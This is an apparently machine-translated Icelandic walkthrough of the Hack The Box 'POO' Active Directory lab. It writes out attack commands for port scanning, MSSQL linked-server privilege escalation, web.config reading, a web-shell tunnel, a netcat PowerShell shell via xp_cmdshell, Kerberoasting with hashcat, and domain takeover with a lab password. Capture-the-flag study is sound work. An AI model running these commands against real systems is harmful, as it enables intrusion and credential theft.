Í þessari grein munum við greina yfirferð ekki bara vélar, heldur heillar lítillar rannsóknarstofu frá síðunni
Eins og fram kemur í lýsingunni er POO hannað til að prófa færni á öllum stigum árása í litlu Active Directory umhverfi. Markmiðið er að skerða aðgengilegan gestgjafa, auka réttindi og að lokum skerða allt lénið á meðan safnað er 5 fánum.
Tenging við rannsóknarstofuna er í gegnum VPN. Mælt er með því að tengjast ekki úr vinnutölvu eða frá hýsingaraðila þar sem gögn eru mikilvæg fyrir þig þar sem þú lendir á einkaneti með fólki sem kann eitthvað á sviði upplýsingaöryggis :)
skipulagsupplýsingar
Svo að þú getir fundið út um nýjar greinar, hugbúnað og aðrar upplýsingar, bjó ég til
Allar upplýsingar eru eingöngu veittar í fræðsluskyni. Höfundur þessa skjals tekur enga ábyrgð á tjóni sem verður fyrir neinum vegna notkunar þeirrar þekkingar og aðferða sem aflað er við að kynna sér þetta skjal.
intro
Þessi endirleikur samanstendur af tveimur vélum og inniheldur 5 fána.
Lýsing og heimilisfang fyrir tiltækan gestgjafa er einnig gefin upp.
Byrjum!
Recon fáni
Þessi vél er með IP töluna 10.13.38.11, sem ég bæti við /etc/hosts.
10.13.38.11 poo.htb
Fyrst af öllu, skanna við opnar hafnir. Þar sem að skanna allar portar með nmap tekur langan tíma, mun ég fyrst gera þetta með masscan. Við skönnum öll TCP og UDP tengi frá tun0 viðmótinu á hraðanum 500 pakka á sekúndu.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nú, til að fá ítarlegri upplýsingar um þjónustuna sem keyra á höfnunum, skulum við keyra skönnun með -A valkostinum.
nmap -A poo.htb -p80,1433
Þannig að við höfum IIS og MSSQL þjónustu. Í þessu tilfelli munum við komast að raunverulegu DNS nafni lénsins og tölvunnar. Á vefþjóninum tekur á móti okkur heimasíða IIS.
Við skulum fara í gegnum möppurnar. Ég nota gobuster í þetta. Í breytunum tilgreinum við fjölda þráða 128 (-t), URL (-u), orðabók (-w) og viðbætur sem vekja áhuga okkar (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Þetta veitir okkur HTTP auðkenningu fyrir /admin skrána, auk aðgengilegrar .DS_Store skrá fyrir skrifborðsþjónustu. .DS_Store eru skrár sem geyma sérsniðnar stillingar fyrir möppu, svo sem lista yfir skrár, staðsetningar tákna og valda bakgrunnsmynd. Slík skrá gæti endað í vefþjónaskrá vefhönnuða. Þannig fáum við upplýsingar um innihald skrárinnar. Fyrir þetta geturðu notað
python3 dsstore_crawler.py -i http://poo.htb/
Við fáum innihald möppunnar. Það áhugaverðasta hér er /dev skráin, þaðan sem við getum skoðað heimildir og db skrár í tveimur greinum. En við getum notað fyrstu 6 stafina í skráar- og möppunöfnum ef þjónustan er viðkvæm fyrir IIS ShortName. Þú getur athugað þetta varnarleysi með því að nota
Og við finnum eina textaskrá sem byrjar á „poo_co“. Ég vissi ekki hvað ég á að gera næst, ég valdi einfaldlega öll orðin sem byrja á „co“ úr skráarorðabókinni.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Og við munum redda því með wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Og við finnum rétta orðið! Við skoðum þessa skrá, vistum skilríkin (miðað við DBNAME færibreytuna eru þau frá MSSQL).
Við gefum upp fánann og förum 20%.
Ha fáni
Við tengjumst MSSQL, ég nota DBeaver.
Við finnum ekkert áhugavert í þessum gagnagrunni, við skulum búa til SQL ritstjóra og athuga hvaða notendur það eru.
SELECT name FROM master..syslogins;
Við erum með tvo notendur. Við skulum athuga forréttindi okkar.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Það eru því engin forréttindi. Við skulum skoða tengda netþjóna, ég skrifaði um þessa tækni í smáatriðum
SELECT * FROM master..sysservers;
Svona finnum við annan SQL Server. Prófum framkvæmd skipana á þessum netþjóni með því að nota openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Og við getum jafnvel smíðað fyrirspurnartré.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Málið er að þegar við gerum beiðni til tengds netþjóns er beiðnin framkvæmd í samhengi við annan notanda! Við skulum sjá í samhengi við hvaða notanda við erum að vinna á tengdum netþjóni.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Nú skulum við sjá í hvaða samhengi beiðni er gerð frá tengdum netþjóni við okkar!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Svo það er DBO samhengið sem ætti að hafa öll forréttindi. Við skulum athuga réttindin ef um beiðni er að ræða frá tengdum netþjóni.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Eins og þú sérð höfum við öll forréttindi! Við skulum búa til okkar eigin stjórnanda svona. En þeir leyfa það ekki í gegnum openquery, við skulum gera það í gegnum EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Og nú tengjumst við skilríkjum nýja notandans, við fylgjumst með nýja fánagagnagrunninum.
Við afhendum þennan fána og höldum áfram.
BackTrack fáni
Við skulum fá skel með MSSQL, ég nota mssqlclient úr impacket pakkanum.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Við þurfum að fá lykilorð og það fyrsta sem við höfum þegar rekist á er vefsíða. Þannig þurfum við stillingar á vefþjóni (það er ekki hægt að skilja eftir þægilega skel, greinilega er eldveggurinn í gangi).
En aðgangi er meinaður. Þó að við getum lesið skrána frá MSSQL, þurfum við bara að vita hvaða forritunarmál eru stillt. Og í MSSQL skránni komumst við að því að Python er til.
Þá er ekkert vandamál að lesa web.config skrána.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Farðu í /admin og taktu fánann með þeim skilríkjum sem fundust.
Fáni fótfestu
Reyndar eru nokkur óþægindi af því að nota eldvegg, en þegar við skoðum netstillingarnar sjáum við að IPv6 er líka notað!
Bætum þessu heimilisfangi við /etc/hosts.
dead:babe::1001 poo6.htb
Við skulum skanna gestgjafann aftur, en með því að nota IPv6 samskiptareglur.
Og WinRM þjónustan er fáanleg yfir IPv6. Tengjumst skilríkjunum sem fundust.
Það er fáni á skjáborðinu, við afhendum það.
P00ned fáni
Eftir að hafa stundað könnun á gestgjafanum með því að nota
setspn.exe -T intranet.poo -Q */*
Við skulum keyra skipunina í gegnum MSSQL.
Með því að nota þessa aðferð fáum við SPN notenda p00_hr og p00_adm, sem þýðir að þeir eru viðkvæmir fyrir árás eins og Kerberoasting. Í stuttu máli, við getum fengið lykilorðsþurrku þeirra.
Fyrst þarftu að fá stöðuga skel sem MSSQL notandi. En þar sem aðgangur okkar er takmarkaður höfum við samskipti við gestgjafann aðeins í gegnum höfn 80 og 1433. En það er hægt að leggja umferð í gegnum höfn 80! Fyrir þetta munum við nota
En þegar við reynum að nálgast það fáum við villu 404. Þetta þýðir að *.aspx skrár eru ekki keyrðar. Til þess að hægt sé að keyra skrár með þessar viðbætur skaltu setja upp ASP.NET 4.5 sem hér segir.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Og núna, þegar við komum inn á tunnel.aspx, fáum við svar um að allt sé tilbúið.
Við skulum ræsa biðlarahluta forritsins, sem mun miðla umferð. Við munum senda alla umferð frá höfn 5432 á netþjóninn.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Og við notum proxychains til að senda umferð um hvaða forrit sem er í gegnum proxy okkar. Bætum þessum proxy við stillingarskrána /etc/proxychains.conf.
Nú skulum við hlaða upp forritinu á netþjóninn
Nú ræsum við hlustandann í gegnum MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Og við tengjumst í gegnum umboðið okkar.
proxychains rlwrap nc poo.htb 4321
Og við skulum fá kjötkássa.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Næst þarftu að endurtaka þessa kjötkássa. Þar sem rockyou orðabókin innihélt ekki þessi lykilorð, notaði ég ALLAR lykilorðabækur sem gefnar eru upp í Seclists. Fyrir leitina notum við hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Og við finnum bæði lykilorðin, það fyrsta í orðabókinni dutch_passwordlist.txt, og það síðara í Keyboard-Combinations.txt.
Og svo við höfum þrjá notendur, við skulum fara í lénsstýringuna. Fyrst finnum við heimilisfangið hans.
Frábært, við fundum út IP tölu lénsstýringarinnar. Við skulum komast að öllum notendum lénsins, sem og hver þeirra er stjórnandi. Til að hlaða niður handritinu til að fá upplýsingar PowerView.ps1. Síðan munum við tengjast með því að nota evil-winrm, tilgreina möppuna með handritinu í -s færibreytunni. Og þá munum við bara hlaða PowerView handritinu.
Nú höfum við aðgang að öllum aðgerðum þess. p00_adm notandinn lítur út eins og forréttindanotandi, svo við munum vinna í samhengi hans. Við skulum búa til PSCcredential hlut fyrir þennan notanda.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nú verða allar Powershell skipanir þar sem við tilgreinum Creds keyrðar sem p00_adm. Sýnum lista yfir notendur og AdminCount eigindina.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Og svo, notandi okkar er virkilega forréttinda. Sjáum í hvaða hópum hann er.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Við staðfestum að lokum að notandinn er lénsstjóri. Þetta gefur honum rétt til að skrá sig inn á lénsstýringuna fjarstýrt. Við skulum reyna að skrá okkur inn í gegnum WinRM með göngunum okkar. Ég var ruglaður af villunum sem reGeorg framleiddi þegar ég notaði evil-winrm.
Þá skulum við nota annan, auðveldari,
Við reynum að tengjast og erum í kerfinu.
En það er enginn fáni. Horfðu síðan á notandann og athugaðu skjáborðin.
Við finnum fánann á mr3ks og rannsóknarstofan er 100% búin.
Það er allt og sumt. Sem endurgjöf, vinsamlegast tjáðu þig um hvort þú hafir lært eitthvað nýtt af þessari grein og hvort hún hafi verið gagnleg fyrir þig.
Þú getur gengið til liðs við okkur kl
Heimild: www.habr.com